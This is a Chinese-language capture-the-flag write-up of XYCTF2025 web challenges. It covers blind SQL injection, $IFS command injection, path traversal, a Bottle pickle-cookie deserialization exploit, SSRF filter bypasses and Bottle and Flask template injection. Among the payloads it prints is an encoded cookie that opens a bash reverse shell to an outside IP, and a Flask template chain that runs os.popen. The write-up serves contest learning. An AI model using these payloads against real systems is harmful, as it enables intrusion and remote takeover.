XYCTF2025

ezsql(手动滑稽)
fuzz
一下,测试过滤字符
1 | like、逗号(,)、空格、and、|、*、union、&、-、+ 等等 |
Union
被过滤,用盲注,逗号用 from for
,空格用%09
绕过,程序总共两种返回结果,302 或 200
(账号或密码错误)


1 | 1' or(substr(database() from 1 for 1))='a'%23 |
编写脚本
1 | import requests |
输入注出的密钥

进去是一个无回显命令执行接口

过滤空格,$IFS
绕过

1 | ls$IFS/>1.txt |

Signin

下载附件,源码如下
1 | # -*- encoding: utf-8 -*- |
程序基于 Bottle
框架搭建 Web
服务,访问根目录回显 HI。/download
路由提供了文件读取功能,/secret
基于 Cookie
验证权限,返回不同的内容
1 | @route('/download') |
顺着代码意思,我们先尝试拿到admin
。cookie
加密密钥在 ../../secret.txt
,需要绕过过滤读取文件,先读取 app.py
试试
1 | http://eci-2zec3yt2vvpqcvovokx3.cloudeci1.ichunqiu.com:5000/download?filename=app.py |

通过./../
组合绕过,拿到密钥
1 | http://eci-2zec3yt2vvpqcvovokx3.cloudeci1.ichunqiu.com:5000/download?filename=./.././../secret.txt |

本地生成密钥,拿到 admin
的 Cookie
1 | name="!Q2i4b0GcN4AM+eI0/Br6YuNIftiqf3hm53bC67S2HUM=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFYWRtaW6Uc2Uu" |
发现什么内容都没有

bottle
框架的 bottle.response.set_cookie()
会在解码 cookie
的时候使用 pickle.loads
,这存在着 pickle
反序列化漏洞
构造 EXP:
1 | from bottle import route, run,response |
本地测试反弹 Shell
,生成恶意 Cookie
并发包
1 | name="!KvRmcP+G2n6yLDFEBXLFhV9EXo3aOfX8QRjhmOu2Cug=?gAWVXQAAAAAAAABdlCiMBG5hbWWUjAVwb3NpeJSMBnN5c3RlbZSTlIw3YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC82MC4yMDQuMjQ0LjI1NC8yOTk5OCAwPiYxJ5SFlFKUZS4=" |
成功接收到 Shell

拿 Payload
打远程,返回了 Error!
,程序执行报错,猜测可能是靶机不出网

这样外带也是不行的,那就读取 FLAG
并写入文件,再使用前面的任意文件读取功能读取 FLAG
1 | //cat /flag_* > /1.txt |
拿到 FLAG

ez_puzzle
一个拼图,两秒内拼完弹 FLAG

将其添加至忽略已继续调试

和时间有关,全局搜索time
,发现 endTime、startTime
两个变量

仅能查到 startTime
,显然 endTime
是在拼完图后赋值的

猜测程序是对这两个变量作差,即 endTime - startTime
,因为要比较是否在两秒内拼完,如果将startTime
为无限大,相减为负就能小于 2 秒

拼完图即可

fate
源码如下
1 | #!/usr/bin/env python3 |
两个关键路由, 通过 proxy
路由代理转发,请求 1337
路由实现 SQLITE
注入
通过 proxy
路由代理转发时参值不能含有字母和点,这里通过 @
绕过加进制转换绕过,@
是虚拟域名,在浏览器输入后,浏览器会识别@
后面的域名
1 | @app.route('/proxy', methods=['GET']) #代理转发 |
回显 Hello local, and hello hacker
,成功
1 | http://IP:8080/proxy?url=@2130706433:8080/1337 |

然后需要传入 abcdefghi
,没法再使用进制绕过字母 waf
,利用 Flask
解码特性,内外层 URL
编码绕过。
1 | http://192.168.137.139:8080/proxy?url=@2130706433:8080/1337?0=abcdefghi&=1 |

1
的参值会被丢入 binary_to_string
函数里去,该函数将参值分为8个一组挨个取出并二进制解码,然后拼接返回
1 | def binary_to_string(binary_string): |
根据 binary_to_string
函数写一个加密段
1 | def binary_to_string(binary_string): |
成功进入 db_search
函数
1 | http://192.168.137.139:8080/proxy?url=%40%32%31%33%30%37%30%36%34%33%33%3a%38%30%38%30%2f%31%33%33%37%3f%30%3d%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39%26%31%3d011110110010001001101110011000010110110101100101001000100011101000100010011101000110010101110011011101000010001001111101 |

接下来 SQL 注入,在 init_db.py
中发现 flag
在FATETABLE
库Fate
表中
1 | #init_db.py |
并且我们需要绕过这段 WAF
1 | if len(name) > 6: |
这需要利用 Python
格式化字符串漏洞,在 python
中使用 f-string
直接传入非字符串参数时,会被强转为字符串并完整填入。这使得我们可以传入一个非字符串的值,如列表、字典,从而绕过前面的 WAF
检测,然后在 SQL 执行中被转换
构造 Payload
1 | req = """{"name":{"'))))))) UNION SELECT FATE FROM FATETABLE--":"1"}}""" |

1 | req = """{"name":{"'))))))) UNION SELECT FATE FROM FATETABLE where NAME='LAMENTXU'--":"1"}}""" |

出题人已疯
源码如下
1 | # -*- encoding: utf-8 -*- |
很明显的 Bottle SSTI
模板注入,由于 bottle.template
会将输入与 hello
字符拼接,为了正确解析并执行 Python
代码,需要加上 \n

类似命令执行长度限制绕过,Python 任意模块都允许动态添加属性,可以利用这种特性把 payload
挨个写入属性中,从而绕过 25 长度限制
1 | import os |
最后可以通过 Bottle
模板函数 include
返回文件内容

编写 exp,注意由于 payload
中用的是单引号,所以 os.a="{x}"
这里需要使用双引号分开
1 | import requests |

出题人又疯
源码如下
1 | # -*- encoding: utf-8 -*- |
已疯的 Revenge
,这回 ban
掉了很多关键词,得另寻绕过方法
在 Python
中支持解析斜字体,执行效果相同,字符串内的斜体无法被正确解析

利用这一点绕过 WAF
1 | /attack?payload={{%BApen(%27/flag%27).re%aad()}} |

源码层面的原理分析观摩 LamentXU
师傅的文章,仔细分析了 Bottle.template()
源码以及Python
特性
https://www.cnblogs.com/LAMENTXU/articles/18805019
Now you see me 1
源码
1 | # -*- encoding: utf-8 -*- |
核心代码被藏起来了。将代码Base64
解码如下
1 | # YOU FOUND ME ;) |
很明显的 Flask SSTI
,传参必须为 Follow-your-heart-
开头,``闭合前面,黑名单过滤了 {{}}
,可以使用 {%%}
1 | /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-#}{%print(1)%}{# |
黑名单筛了很多关键词,但发现没有过滤 request
和.
可以借此去调用 request
对象中的一些属性
1 | /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-#}{%print(request)%}{# |

在 request
中有这样一些能接收请求头中的特定值的属性,如pragma、mimetype
,同时并没有在黑名单中,可以通过其接收指定字符串来调用函数
1 | /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23}{%print((request|attr(request.mimetype)).get(0|string))%}{%23&0=a |
通过 |string
将值转为字符串形式,看到成功打印出 a

利用这种方式来尝试 SSTI
,先请求个 __class__
试试
1 | {%print(()|attr((request|attr(request.mimetype)).get(0|string)))%}&0=__class__ |

这很容易出错,需要耐心构造,最终 Payload
如下
1 | #().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(137).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')("__import__('os').popen('ls -al /').read()") |

Now you see me 2
- 标题: XYCTF2025
- 作者: Octopus
- 创建于 : 2025-05-22 11:30:32
- 更新于 : 2025-05-25 23:44:51
- 链接: https://redefine.ohevan.com/2025/05/22/2025XYCTF/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。